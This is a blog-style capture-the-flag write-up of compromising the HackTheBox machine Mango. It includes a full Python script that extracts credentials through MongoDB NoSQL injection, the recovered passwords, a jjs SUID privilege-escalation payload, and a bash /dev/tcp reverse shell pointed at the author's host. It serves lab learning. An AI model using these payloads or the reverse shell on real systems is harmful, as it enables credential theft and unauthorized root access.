Welcome to another Forest Hex hacking adventure! 🌲🏹

Today I’ll be hacking an HTB box Named Mango.

As always, we start with a port scan. Feel free to jump around.


Port Scan

Port Scan

Pretty standard here, SSH and a web server running on port 80 and 443 for http and https respectively. It looks like the port 80 one got a 403 error from nmap so let’s check out the https one.


Investigating the Web Server

Home Site

A google clone, neat. From the looks of it I can use the analytics page with full functionality. It’s using PHP according to wappalyzer, and not much else.

After some investigation it turned out the analytics is running software called flexmonster. There may be exploit potential there, but first I decided to load up ZAP and run a vuln scan. It came up empty for the most part, nothing useful.

Searchsploit came up with nothing about flexmonster exploits, and a google search showed some potential but sparse forum posts from concerned users rather than disclosures. I decided to try gobuster at this point to find any hidden directories.

gobuster dir -u "https://10.10.10.162/" -r -a "Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k

-k ignores SSL issues, -a sets my user-agent to a normal one in case they have detection, and -r follows redirects. I point it to a decent directory list and go.

GoBuster Running
No GoBuster Results

No luck, just a forbidden apache page. I decided to try nikto next, an apache web server scanner. nikto -host "https://10.10.10.162"

Off the bat we got some domain info from the SSL cert:

CN=staging-order.mango.htb
emailAddress=admin@mango.htb

I also should have noticed that from the nmap scan. While nikto was running I decided to add the hostname to /etc/hosts and navigate to it.

Exploiting the Login Page

Login Page
Paydirt! Here’s a login page and we at least know there’s one user named admin probably.

I played around with this page for quite a while. I ran a ZAP vuln scan and test some basic SQL injection but had no luck. I ran nikto and even wapiti, but came up empty.

No Vulns Found

I then decided to try some other forms of injection, maybe it’s not running SQL at all. I looked up some NoSQL injection techniques and after a little playing around I found a way in. I had to modify the POST request to get it to work, which was easy since I had the site loaded in a ZAP proxy which injects a nice front end on top of the site. Check it out:

NoSQLi

As you can see we are able to login, but it’s kind of useless at the moment. It’s under construction and investigating the source doesn’t reveal any new information. However, armed with a success case for NoSQLi, we can brute force character by character to get account information. This could let us into other places, perhaps even SSH access if we are lucky.

Now I’m not familiar with mongoDB, which is the DB being used based on the noSQL injection that worked, but I’ve learned enough to know where to look.

https://docs.mongodb.com/manual/reference/operator/query/ - A lovely reference on what’s called Query and Projection operators. This is why the injection works using $gt, it stands for greater than and will change the logic that checks for a valid password. In short, instead of checking if you have the user password right, it will check if the user’s password is greater than NULL. Since everything evaluates to greater than null it will always be true and it lets you in.

I found a more specific blog post about what I’m trying to achieve here: https://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/

The jist of it is, we can extract information by using {username: {$regex: <char_to_test>.*}}. Mongo will evaluate the regular expression that’s provided. Regex is a pretty big topic of it’s own, but for here you only need to know that .* translates to mean match anything, so as long as I get <char_to_test> right it will evaluate to true and let me in.


Creating a Python Script

Now the page above is a good starting point, but a lot of changes are in order:

  • No testing regex special characters.
  • Users are not enumerated.
  • No valid PHP session id.

To test for regex special characters we need to escape them with \. This means it will take 2 characters to test these and iterating over a string will no longer work. The solution is to iterate over an array.

Adding Regex Special Characters

char_str = string.ascii_letters + string.digits + "~'`!@#%_=,:;/\""
regex_escapes = ['\{', '\}', '\*', '\^', '\+', '\?', '\-', '\&', '\(', '\)', '\[', '\]', '\\\\', '\<', '\>', '\|']
chars_to_test = list(char_str) + regex_escapes

The above code takes all single character possibilities that aren’t regex special characters and combines them into a single string: char_str. It then defines an array of escaped regex special characters, and finally it converts char_str into a list and concatenate it to the list of escaped regular expressions.

I can now iterate chars_to_test and it will test all special characters, including those which would normally be interperted differently in the regular expression.


Extracting Users

To grab the users instead of the password the payload has to be changed: username[$regex]=^<CHAR_TO_TEST>.*&password[$gt]=&login=login

Also the method should be different. It’s possible to have user with several of the same starting letters, so instead of stopping at the first character we match the logic will go as follows:

1. Start with an empty list of users.
2. Send users to a function which will attempt to find all users.
   a. If the list is empty:       
      i. Iterate through every character to test.
      ii. Append to new list if valid.
      iii. Return new list of valid characters.
   b. If the list is not empty:
      i. Iterate through each user in the list.
         a. Iterate through every character to test, appending it to the username.
         b. Append to new list if valid.
         c. Return list list of valid user strings.
3. If the original list of users == the new list:
   a. Return the list, users fully enumerated at this point.
4. If the original list of users != the new list:
   a. Replace the original list of users with the new one.
   b. Return to step 2 where we send users to function.

This method ensures the script won’t stop at the first valid character for each attempt, and will allow the known users list size to increase as it finds more valid combinations.

['a', 'm'] could turn into ['ad', 'ma', 'mi'] for example if we had admin, matt, and mike as valid values. Once the new list returned is the same as the old one then there is no reason to continue enumerating as it would just repeat infinitely.


Grabbing the PHP Session ID

It’s important to keep the headers valid for these requests. To do so I just copied the valid headers I interecepted in ZAP and did a little regex replace magic to create a dictionary object in python for use with the popular requests module. One issue with just using it directly like that is the PHP Session ID cookie changes, and I don’t want to manually update it every time it expires.

Grabbing it is very easy with the requests module:

def grab_sessid_header():
    res = requests.get('http://staging-order.mango.htb/', headers=headers, proxies=proxies, verify=False)
    phpid = res.cookies['PHPSESSID']
    cookie_header = {'Cookie': f'PHPSESSID={phpid}'}
    return cookie_header

As well as adding it to your headers dictionary:

headers.update(grab_sessid_header())

The Final Script

The end result is a script that enumerates all users first, and then attempts to find the passwords for each. You can see it in action:

Script in Action

Here’s the full script.

import requests
import string
# proxies = {"http": "http://127.0.0.1:12480", "https": "http://127.0.0.1:12480"}
proxies = {}
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'en-US,en;q=0.5',
'Content-Type':'application/x-www-form-urlencoded',
'Origin':'https://staging-order.mango.htb',
'Connection':'keep-alive',
'Referer':'https://staging-order.mango.htb/',
'Upgrade-Insecure-Requests':'1',
'Host':'staging-order.mango.htb'
}

# Returns Chars: [a, c], stops at first if desired, this is useful for passwords
# Expects <CHAR>, replaces with actual char
def iterate_chars(payload, stop_at_first = False):
    valid_chars = []
    char_str = string.ascii_letters + string.digits + "~'`!@#%_=,:;/\""
    regex_escapes = ['\{', '\}', '\*', '\^', '\+', '\?', '\-', '\&', '\(', '\)', '\[', '\]', '\\\\', '\<', '\>', '\|']
    chars_to_test = list(char_str) + regex_escapes
    for i in chars_to_test:
        data = payload.replace('<CHAR>', i)
        res = requests.post('http://staging-order.mango.htb/', data=data, allow_redirects=False, headers=headers, proxies=proxies, verify=False)
        if res.status_code == 302:
            valid_chars.append(i[-1:])
            if stop_at_first:
                return valid_chars
    return valid_chars

# Iterates through all known starts to user strings, attempts to find all valid chars for each
# Returns an updated list of found users
def iterate_users(users):
    user_payload = 'username[$regex]=^<CHAR>.*&password[$gt]=&login=login'
    new_found_users = []
    if len(users) == 0:
        found_users = iterate_chars(user_payload)
        print(found_users)
        return found_users
    else:
        for user in users:
            user_payload = f'username[$regex]=^{user}<CHAR>.*&password[$gt]=&login=login'
            new_chars = iterate_chars(user_payload)
            if len(new_chars) == 0:
                new_found_users.append(user)
            else:  
                for char in new_chars:
                    new_found_users.append(user+char[-1:])
        print(new_found_users)
        return new_found_users 

def find_user_password(user):
    found_chars = ''
    while True:
        pass_payload = f'username={user}&password[$regex]=^{found_chars}<CHAR>.*&login=login'
        new_char = iterate_chars(pass_payload, True)
        if len(new_char) == 0:
            break
        found_chars += new_char[0]
        print(f'{user}: {found_chars}')
    return found_chars

def iterate_passwords(users):
    creds = { user : '' for user in users}
    for user in creds:
        creds[user] = find_user_password(user)
    return creds

# Returns the PHP session ID as a header for requests to update with
def grab_sessid_header():
    res = requests.get('http://staging-order.mango.htb/', headers=headers, proxies=proxies, verify=False)
    phpid = res.cookies['PHPSESSID']
    cookie_header = {'Cookie': f'PHPSESSID={phpid}'}
    return cookie_header

# Returns an array of usernames
def find_all_users():
    found_users = []
    while True:
        new_found_users = iterate_users(found_users)
        if new_found_users == found_users: 
            print(found_users)
            break
        found_users = new_found_users
    return found_users

# Grab a new session id first
headers.update(grab_sessid_header())
users = find_all_users()
# users = ['admin', 'mango']
# {'admin': 't9KcS3>!0B#2', 'mango': 'h3mXK8RhU~f{]f5H'}
creds = iterate_passwords(users)
print(creds)

You can see the credentials it found above.


Getting User

The credentials worked for mango but not admin. ssh mango@mango.htb

There was no user.txt file in his home folder, I decided to use find to locate it. find / -name user.txt 2>&1 | grep -v "Permission denied"

Found user.txt

Ah ha, it’s under admin! Maybe the password will work locally if I just use su admin

User Flag

Nice, got it. This was a pretty fun route to user, I always enjoy creating my own exploits.


Getting Root

This shell looks weird immediately. I run /bin/bash and it returns to the normal prompt, prepended with the user and current directory.

I then checked out what processes were running as root, apache was one of them. I checked the version number: 2.4.29, vulnerable to a local privesc: https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html

I don’t really want to wait around until 6:45 am, and I don’t have rights to change the time on the machine so I can’t force it. It’s time to run lse.sh and see what it says. I downloaded it onto the victim by using python -m SimpleHTTPServer on kali in the folder I have lse.sh.

On the victim I ran: wget http://10.10.14.66:8000/lse.sh and then chmod +x lse.sh to download it and allow it to be executed. It came back with a couple of unusual SUID binaries:

Mailcap seemed to require sudo access to get root. I gave it a shot, but it asked for a sudo password and neither of the passwords I have worked.

JJS seemed more promising, I found it also listed on GTFOBins: https://gtfobins.github.io/gtfobins/jjs/

It looks like if the SUID bit is set, you can get root without sudo. You can see the commands at the bottom:

sudo sh -c 'cp $(which jjs) .; chmod +s ./jjs'

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | ./jjs

Now wait, there’s sudo in the first command!

Yep, but look at the command, it’s copying JJS and setting the SUID bit on it. The binary on the system I’m hacking already has this set so I don’t need to run that command. I’ll also need to change the binary the second command is piped into.

Root ... but, not quite.

It looks like I popped a root shell consider the prompt changed from $ into #. But… I can’t interact with it. It’s blinking, but any input is just ignored. Shame really, but there’s a solution, instead of spawning a local shell I can spawn a reverse shell and the input issue should be resolved. I usually grab one from here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

First I’ll test if I can pop a reverse shell manually with the following commands:

On Victim: `/bin/bash -i >& /dev/tcp/10.10.14.66/15462 0>&1`
On Host: `nc -nvlp 15462`

It works! I got a shell from the user running the command, so if I can get JJS to run it as root I should get a root shell. After a lot of playing around I did not manage to pop a reverse shell.


Finally getting it to work

I realized at one point that it was running dash instead of bash and maybe that was messing up the prompt input.

I changed the command to: echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc \$@|sh\${IFS}-p _ echo /bin/bash -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

As I typed the input did not show, but I tried it anyway:

Root Flag

Success! Although I couldn’t see my input the commands were now run. This was a very enjoyable box and I learned a lot about noSQL injection. Until next time this is Brian G. signing off!